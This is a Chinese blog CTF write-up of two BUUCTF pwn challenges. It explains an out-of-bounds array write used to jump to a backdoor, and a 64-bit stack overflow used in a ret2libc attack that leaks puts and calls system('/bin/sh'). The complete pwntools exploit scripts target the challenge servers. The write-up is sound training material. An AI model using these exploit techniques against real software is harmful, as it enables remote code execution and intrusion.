buuctf:wustctf2020_name_your_cat(数组越界)、axb_2019_brop64
本文最后更新于261 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com

1、wustctf2020_name_your_cat分析

32位注意有Canary和NX,运行看不出什么东西

程序有后门函数需要ret2,但是肯定有条件

首先是这个函数,NameWhich,参数是a1,需要输入%d而不是%s


然后是这个函数vulnerable,其实就是一个给5只猫循环起名字的程序


__isoc99_scanf(“%7s”, 8 * v3 + a1);我们写入的字符串到a1中,但是前面并没有检验v3的大小,可能造成a1数组越界,这样就可以覆写buf后面的内容,现在要确定偏移

0x34+0x8=0x38就是56,一个参数是8位,那么v3和r之间相差了7个参数

当for循环到第5次时,我们输入7就可以定位到ret,然后写入后门的地址0x80485CB 就行了

2、wustctf2020_name_your_cat实操

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29358)

shell=0x80485cb
p.recvuntil("Name for which?\n>")
p.sendline(str(1))
p.recvuntil("Give your name plz: ")
p.sendline('a')

p.recvuntil("Name for which?\n>")
p.sendline(str(2))
p.recvuntil("Give your name plz: ")
p.sendline('a')

p.recvuntil("Name for which?\n>")
p.sendline(str(3))
p.recvuntil("Give your name plz: ")
p.sendline('a')

p.recvuntil("Name for which?\n>")
p.sendline(str(4))
p.recvuntil("Give your name plz: ")
p.sendline('a')

p.recvuntil("Name for which?\n>")
p.sendline(str(7))
p.recvuntil("Give your name plz: ")
p.sendline(p64(shell))

p.interactive()


3、axb_2019_brop64分析


64位+nx,是一个不会循环的复读机

主要还是看这个函数

很明显的栈溢出,那我们能不能利用他来泄露libc,用puts吧,参数更简单,用write的话需要多设置两个参数


这些寄存器,puts就用rdi就好,write都需要用上

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26307)
elf=ELF("./axb_2019_brop64")

rdi=0x400963
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=elf.sym['main']
payload=b'a'*(0xd0+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil("Please tell me:")
p.sendline(payload)
puts=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
p.interactive()


4、cat flag

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26307)
elf=ELF("./axb_2019_brop64")

rdi=0x400963
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=elf.sym['main']
payload=b'a'*(0xd0+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.recvuntil("Please tell me:")
p.sendline(payload)
puts=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

libc=ELF("./libc-2.23.so")
base=puts-libc.sym['puts']
sys=base+libc.sym['system']
binsh=base+next(libc.search("/bin/sh"))
payload=b'a'*(0xd0+8)+p64(rdi)+p64(binsh)+p64(sys)
p.sendline(payload)
p.interactive()


好啦,就到这儿……

通往夏天的隧道,再见的出口......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇